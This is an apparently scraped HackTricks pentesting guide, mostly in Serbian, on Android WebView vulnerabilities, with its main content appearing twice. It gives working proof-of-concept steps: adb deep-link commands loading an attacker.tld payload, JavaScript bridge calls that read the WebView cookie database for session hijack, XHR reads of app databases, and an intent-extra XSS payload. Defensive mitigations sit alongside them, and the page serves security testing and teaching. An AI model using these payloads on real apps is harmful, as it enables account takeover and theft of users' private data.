Webview Attacks

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Vodič o WebView konfiguracijama i bezbednosti

Pregled ranjivosti WebView-a

Ispravno rukovanje WebView-ovima je kritičan aspekt Android razvoja. Ovaj vodič ističe ključne konfiguracije i bezbednosne prakse za ublažavanje rizika povezanih sa korišćenjem WebView-a.

Primer WebView-a

Pristup fajlovima u WebView-ovima

Po defaultu, WebView-ovi dozvoljavaju pristup fajlovima. Ova funkcionalnost se kontroliše metodom setAllowFileAccess(), dostupnom od Android API level 3 (Cupcake 1.5). Aplikacije koje imaju dozvolu android.permission.READ_EXTERNAL_STORAGE mogu čitati fajlove sa spoljne memorije koristeći file URL šemu (file://path/to/file).

Zastarele funkcije: Universal and File Access From URLs

  • Universal Access From File URLs: Ova zastarela funkcija je dozvoljavala cross-origin zahteve sa file URL-ova, predstavljajući značajan bezbednosni rizik zbog potencijalnih XSS napada. Po defaultu je ova opcija onemogućena (false) za aplikacije koje targetuju Android Jelly Bean i novije.
  • Za proveru ove postavke koristite getAllowUniversalAccessFromFileURLs().
  • Za izmenu koriste setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ova funkcija, takođe zastarela, kontrolisala je pristup sadržaju sa drugih file scheme URL-ova. Kao i universal access, podrazumevano je onemogućena radi poboljšane bezbednosti.
  • Koristite getAllowFileAccessFromFileURLs() za proveru i setAllowFileAccessFromFileURLs(boolean) za podešavanje.

Sigurno učitavanje fajlova

Za onemogućavanje pristupa fajl sistemu, a ipak omogućavanje pristupa assets i resources, koristi se metod setAllowFileAccess(). Na Android R i novijim, podrazumevana vrednost je false.

  • Proverite sa getAllowFileAccess().
  • Omogućite ili onemogućite sa setAllowFileAccess(boolean).

WebViewAssetLoader

Klasa WebViewAssetLoader je moderan pristup za učitavanje lokalnih fajlova. Ona koristi http(s) URL-ove za pristup lokalnim assets i resources, usklađujući se sa Same-Origin politikom, čime olakšava upravljanje CORS-om.

loadUrl

Ovo je uobičajena funkcija koja se koristi za učitavanje proizvoljnih URL-ova u WebView-u:

webview.loadUrl("<url here>")

Naravno, potencijalni napadač nikada ne bi trebao moći da kontroliše URL koji aplikacija namerava da učita.

JavaScript i rukovanje Intent Scheme-om

  • JavaScript: Podrazumevano onemogućen u WebView-ovima; može se omogućiti preko setJavaScriptEnabled(). Treba biti oprezan — omogućavanje JavaScript-a bez adekvatnih mera zaštite može uvesti sigurnosne ranjivosti.
  • Intent Scheme: WebView-ovi mogu da rukuju intent scheme-om, što potencijalno može dovesti do eksploatacija ako se ne upravlja pažljivo. Jedan primer ranjivosti uključivao je izložen WebView parametar “support_url” koji je mogao biti iskorišćen za izvođenje cross-site scripting (XSS) napada.

Vulnerable WebView

Primer eksploatacije koristeći adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android pruža funkcionalnost koja omogućava JavaScript u WebView da poziva native Android app functions. To se postiže korišćenjem metode addJavascriptInterface, koja integriše JavaScript sa native Android funkcionalnostima, nazvanu WebView JavaScript bridge. Potrebno je biti oprezan jer ova metoda dozvoljava svim stranicama unutar WebView da pristupe registrovanom JavaScript Interface objektu, što predstavlja bezbednosni rizik ako se osetljive informacije izlažu kroz ove interfejse.

  • Izuzetna pažnja je potrebna za aplikacije koje ciljaju Android verzije ispod 4.2 zbog ranjivosti koja omogućava remote code execution kroz zlonamerni JavaScript, iskorišćavanjem reflection-a.

Implementing a JavaScript Bridge

  • JavaScript interfaces mogu da interaguju sa native kodom, kao što je prikazano u primerima gde je metoda klase izložena JavaScript-u:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge se omogućava dodavanjem interfejsa u WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencijalna eksploatacija pomoću JavaScript-a, na primer, putem XSS attack, omogućava pozivanje izloženih Java metoda:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Da biste umanjili rizike, restrict JavaScript bridge usage na kod koji je isporučen u APK-u i sprečite učitavanje JavaScript-a sa udaljenih izvora. Za starije uređaje, podesite minimalni API level na 17.

Reflection-based Remote Code Execution (RCE)

  • Dokumentovan metod omogućava postizanje RCE kroz reflection izvršavanjem specifičnog payload-a. Međutim, anotacija @JavascriptInterface sprečava neautorizovan pristup metodama, ograničavajući površinu napada.

Remote Debugging

  • Remote debugging je moguće sa Chrome Developer Tools, omogućavajući interakciju i proizvoljno izvršavanje JavaScript-a unutar WebView sadržaja.

Enabling Remote Debugging

  • Remote debugging se može omogućiti za sve WebViews unutar aplikacije na sledeći način:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Da uslovno omogući debugging na osnovu debuggable stanja aplikacije:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate proizvoljne fajlove

  • Prikazuje exfiltration proizvoljnih fajlova koristeći XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Napadi

Vodič za WebView konfiguracije i bezbednost

Pregled ranjivosti WebView

Kritičan aspekt Android razvoja je pravilno rukovanje WebView-ovima. Ovaj vodič ističe ključne konfiguracije i bezbednosne prakse za ublažavanje rizika povezanih sa korišćenjem WebView.

WebView Primer

Pristup fajlovima u WebViews

Podrazumevano, WebView dozvoljava pristup fajlovima. Ova funkcionalnost se kontroliše metodom setAllowFileAccess(), dostupnom od Android API level 3 (Cupcake 1.5). Aplikacije sa dozvolom android.permission.READ_EXTERNAL_STORAGE mogu čitati fajlove iz eksternog skladišta koristeći file URL šemu (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Ova zastarela opcija je omogućavala cross-origin zahteve sa file URL-ova, predstavljajući značajan bezbednosni rizik zbog mogućih XSS napada. Podrazumevana postavka je isključena (false) za aplikacije koje ciljaju Android Jelly Bean i novije.
  • Za proveru ove postavke koristite getAllowUniversalAccessFromFileURLs().
  • Za izmenu koristite setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ova opcija, takođe zastarela, kontrolisala je pristup sadržaju sa drugih file scheme URL-ova. Kao i universal access, podrazumevano je onemogućena radi povećane bezbednosti.
  • Koristite getAllowFileAccessFromFileURLs() za proveru i setAllowFileAccessFromFileURLs(boolean) za podešavanje.

Sigurno učitavanje fajlova

Za onemogućavanje pristupa fajl sistemu dok je i dalje omogućeno pristupanje asset-ima i resursima, koristi se metoda setAllowFileAccess(). Sa Android R i novijim, podrazumevana postavka je false.

  • Proverite sa getAllowFileAccess().
  • Omogućite ili onemogućite pomoću setAllowFileAccess(boolean).

WebViewAssetLoader

Klasa WebViewAssetLoader je savremen pristup za učitavanje lokalnih fajlova. Koristi http(s) URL-ove za pristup lokalnim asset-ima i resursima, usklađujući se sa Same-Origin policy i olakšavajući upravljanje CORS-om.

loadUrl

Ovo je uobičajena funkcija koja se koristi za učitavanje proizvoljnih URL-ova u WebView-u:

webview.loadUrl("<url here>")

Naravno, potencijalni napadač nikada ne bi trebalo da može kontrolisati URL koji aplikacija treba da učita.

Deep-linking u internu WebView (custom scheme → WebView sink)

Mnoge aplikacije registruju custom schemes/paths koji preusmeravaju URL koji korisnik obezbedi u WebView unutar aplikacije. Ako je deep link exportovan (VIEW + BROWSABLE), napadač može primorati aplikaciju da prikaže proizvoljan udaljeni sadržaj unutar njenog WebView konteksta.

Tipičan obrazac u manifestu (pojednostavljeno):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Uobičajen tok koda (pojednostavljeno):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Obrazac napada i PoC putem adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: udaljena stranica se izvršava u kontekstu WebView-a aplikacije (cookies/sesija profila WebView aplikacije, pristup bilo kojem izloženom @JavascriptInterface, potencijalan pristup content:// i file:// u zavisnosti od podešavanja).

Hunting tips:

  • Grep dekompilovane izvore za getQueryParameter("url"), loadUrl(, WebView sinks, i deep-link handlere (onCreate/onNewIntent).
  • Pregledajte manifest za VIEW+BROWSABLE filtere i custom schemes/hosts koji se mapiraju na aktivnosti koje kasnije pokreću WebView.
  • Proverite da li postoje više deep-link path-ova (npr. “external browser” path vs. “internal webview” path) i preferirajte onaj koji renderuje unutar aplikacije.

Enabling JavaScript before verification (order-of-checks bug)

Česta greška pri hardeningu je omogućavanje JavaScripta ili konfigurisanje opuštenih WebView podešavanja pre nego što završi finalna allowlist/verifikacija ciljnog URL-a. Ako je verifikacija nekonzistentna među helper-ima ili se desi prekasno, napadačev deep link može dostići stanje gde:

  1. WebView podešavanja stupaju na snagu (npr. setJavaScriptEnabled(true)), i
  2. Nepoverljivi URL se učitava sa omogućеним JavaScript-om.

Bug pattern (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Zašto je iskoristivo

  • Nekonzistentna normalizacija: pomoćne funkcije razdvajaju/ponovo grade URL drugačije nego finalna provera, stvarajući neslaganja koja može iskoristiti maliciozni URL.
  • Pogrešno poređan pipeline: omogućavanje JS u koraku 2 važi globalno za WebView instancu, utičući na konačno učitavanje čak i ako bi provera kasnije pala.

Kako testirati

  • Kreirajte deep-link payloads koji prođu rane provere i stignu do WebView konfiguracione stranice.
  • Upotrebite adb da pošaljete implicitne VIEW intent-e koji dostavljaju url= parametar pod vašom kontrolom:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Ako exploitation uspe, tvoj payload izvršava JavaScript u WebView-u aplikacije. Odatle, probe za exposed bridges:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Preporuke za odbranu

  • Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query).
  • Pozivati setJavaScriptEnabled(true) samo nakon što sve allowlist provere prođu i neposredno pre učitavanja pouzdanog sadržaja.
  • Izbegavajte izlaganje @JavascriptInterface nepouzdanim originima; radije koristite ograničenja po originu.
  • Razmotrite zasebne WebView instance za pouzdan i nepouzdan sadržaj, sa JS onemogućenim po podrazumevanom.

JavaScript and Intent Scheme Handling

  • JavaScript: Onemogućen po podrazumevanju u WebView-ima, može se omogućiti pomoću setJavaScriptEnabled(). Potreban je oprez jer omogućavanje JavaScript-a bez odgovarajućih mera može uvoditi sigurnosne ranjivosti.
  • Intent Scheme: WebView-ovi mogu da obrade intent scheme, što potencijalno može dovesti do exploita ako se ne upravlja pažljivo. Jedan primer ranjivosti uključivao je izložen WebView parametar “support_url” koji je mogao biti iskorišćen za izvođenje cross-site scripting (XSS) napada.

Vulnerable WebView

Primer eksploatacije koristeći adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android pruža funkcionalnost koja omogućava JavaScript-u u WebView da poziva native Android app functions. Ovo se postiže korišćenjem metode addJavascriptInterface, koja integriše JavaScript sa nativnim Android funkcionalnostima, nazvanu WebView JavaScript bridge. Potrebna je opreznost jer ova metoda omogućava svim stranicama unutar WebView-a da pristupe registrovanom JavaScript Interface object, što predstavlja bezbednosni rizik ukoliko se kroz ove interfejse budu izlagani osetljivi podaci.

  • Potreban je izuzetan oprez za aplikacije koje ciljaju Android verzije pre 4.2 zbog ranjivosti koja omogućava remote code execution putem malicioznog JavaScript-a, iskorišćavanjem reflection-a.

Implementacija JavaScript Bridge-a

  • JavaScript interfaces mogu da komuniciraju sa nativnim kodom, kao što je prikazano u primerima gde je metoda klase izdata JavaScript-u:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge je omogućena dodavanjem interfejsa u WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencijalna eksploatacija putem JavaScript-a, na primer, putem XSS attack, omogućava pozivanje izloženih Java metoda:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Da biste umanjili rizike, ograničite upotrebu JavaScript bridge na kod koji se isporučuje sa APK-om i sprečite učitavanje JavaScript-a sa udaljenih izvora. Za starije uređaje, podesite minimalni API level na 17.

Zloupotreba dispatcher-style JS bridges (invokeMethod/handlerName)

Uobičajen obrazac je jedna izložena metoda (npr. @JavascriptInterface void invokeMethod(String json)) koja deserializuje JSON pod kontrolom napadača u generički objekat i usmerava poziv na osnovu prosleđenog imena handler-a. Tipičan oblik JSON-a:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risk: ako bilo koji registrovani handler izvršava privilegovane akcije nad podacima napadača (npr. direktno čitanje fajlova), možete ga pozvati podešavanjem handlerName odgovarajuće. Rezultati se obično vraćaju u kontekst stranice preko evaluateJavascript i callback/promise mehanizma indeksiranog preko callbackId.

Ključni koraci za pronalaženje

  • Dekompajlirajte i grep-ujte za addJavascriptInterface( da biste saznali ime bridge objekta (npr. xbridge).
  • U Chrome DevTools (chrome://inspect), unesite ime bridge objekta u Console (npr. xbridge) da nabrojite izložena polja/metode; tražite generički dispatcher kao invokeMethod.
  • Nabrojite handlere pretraživanjem klasa koje implementiraju getModuleName() ili mapa registracije.

Proizvoljno čitanje fajla preko URI → File sinks (Base64 exfiltration)

Ako handler prima URI, poziva Uri.parse(req.getUri()).getPath(), pravi new File(...) i čita ga bez allowlists ili provera sandbox-a, dobijate proizvoljno čitanje fajla u sandbox aplikacije koje zaobilazi WebView podešavanja poput setAllowFileAccess(false) (čitanje se događa u native kodu, a ne putem WebView network stack-a).

PoC za exfiltrate Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

  • Cookie DB paths variraju između uređaja/operatera. Uobičajene su:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Detection tips

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Ekvivalentna logika (De Morgan’s):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Ovo nije provera origin-a. Mnogi nepredviđeni hosts zadovoljavaju drugi uslov, dopuštajući nepouzdane domene u privilegovanu Activity. Uvek proveravajte scheme i host protiv stroge allowlist (tačno poklapanje ili ispravna provera subdomena sa tačkama kao granicama), a ne endsWith trikove.

javascript:// execution primitive putem loadUrl

Kada su jednom unutar privilegovane WebView, aplikacije ponekad izvršavaju inline JS putem:

webView.loadUrl("javascript:" + jsPayload);

Ako interni tok izazove loadUrl("javascript:...") u tom kontekstu, injektovani JS se izvršava sa bridge access-om čak i ako spoljašnja stranica normalno ne bi bila dozvoljena. Pentest koraci:

  • Pretraži (grep) za loadUrl("javascript: i evaluateJavascript( u aplikaciji.
  • Pokušaj da dođeš do tih kodnih puteva nakon prisilne navigacije na privileged WebView (npr. preko permissive deep link chooser).
  • Koristi primitiv da pozoveš dispatcher (xbridge.invokeMethod(...)) i dođeš do osetljivih handler-a.

Mitigacije (developer checklist)

  • Stroga verifikacija origin-a za privileged Activities: canonicalizuj i uporedi scheme/host sa eksplicitnim allowlist-om; izbegavaj provere zasnovane na endsWith. Razmotri Digital Asset Links kada je primenljivo.
  • Ograniči bridges samo na trusted pages i ponovo proveri trust pri svakom pozivu (per-call authorization).
  • Ukloni ili strogo zaštiti filesystem-capable handlere; preferiraj content:// sa allowlistama/permissions umesto sirovih file:// putanja.
  • Izbegavaj loadUrl("javascript:") u privileged kontekstima ili ga stavi iza stroge provere.
  • Imaj na umu da setAllowFileAccess(false) ne štiti od native file reads preko bridge-a.

JSB enumeracija i saveti za debugovanje

  • Omogući WebView remote debugging da bi koristio Chrome DevTools Console:
  • Na strani aplikacije (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • Na strani sistema: moduli kao što su LSPosed ili Frida skripte mogu prisilno omogućiti debugging čak i u release build-ovima. Primer Frida snippet-a za Cordova WebViews: cordova enable webview debugging
  • U DevTools, otkucaj ime bridge objekta (npr. xbridge) da vidiš izložene članove i ispitaš dispatcher.

Reflection-based Remote Code Execution (RCE)

  • Dokumentovana metoda omogućava postizanje RCE kroz reflection izvršavanjem specifičnog payload-a. Ipak, anotacija @JavascriptInterface sprečava neautorizovan pristup metodama, ograničavajući površinu napada.

Daljinsko debugovanje

  • Daljinsko debugovanje je moguće pomoću Chrome Developer Tools, omogućavajući interakciju i proizvoljno izvršavanje JavaScript-a unutar WebView sadržaja.

Omogućavanje daljinskog debugovanja

  • Daljinsko debugovanje može biti omogućeno za sve WebView-e unutar aplikacije pomoću:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Za uslovno omogućavanje debugging-a na osnovu debuggable stanja aplikacije:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Eksfiltracija proizvoljnih datoteka

  • Prikazuje eksfiltraciju proizvoljnih datoteka koristeći XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Česta ranjivost je čitanje podataka kojima manipuliše napadač iz dolaznog Intent extra i njihovo direktno ubacivanje u WebView putem loadData() sa omogućenim JavaScript-om.

Ranjiv obrazac (exported Activity čita extra i renderuje ga kao HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Ako je ta Activity exportovana (ili dostupna preko exportovanog proxy), zlonamerni app može poslati HTML/JS u data extra da bi izazvao reflected XSS:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impact

  • Proizvoljni JS u WebView kontekstu aplikacije: nabrojite/koristite @JavascriptInterface bridge-ove, pristupite WebView cookies/local storage, pivot na file:// ili content:// u zavisnosti od podešavanja.

Mitigations

  • Smatrajte sve inpute izvedene iz Intent kao nepouzdane. Escapujte (Html.escapeHtml) ili odbacite HTML; radije renderujte nepouzdani tekst kao tekst, a ne HTML.
  • Držite JavaScript onemogućen osim ako nije strogo neophodan; ne uključujte WebChromeClient za nepouzdani sadržaj.
  • Ako morate renderovati templirani HTML, koristite loadDataWithBaseURL() sa sigurnom bazom i CSP; odvojite pouzdane i nepouzdane WebViews.
  • Izbegavajte izlaganje Activity spolja ili je zaštitite dozvolama kada to nije potrebno.

Related

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks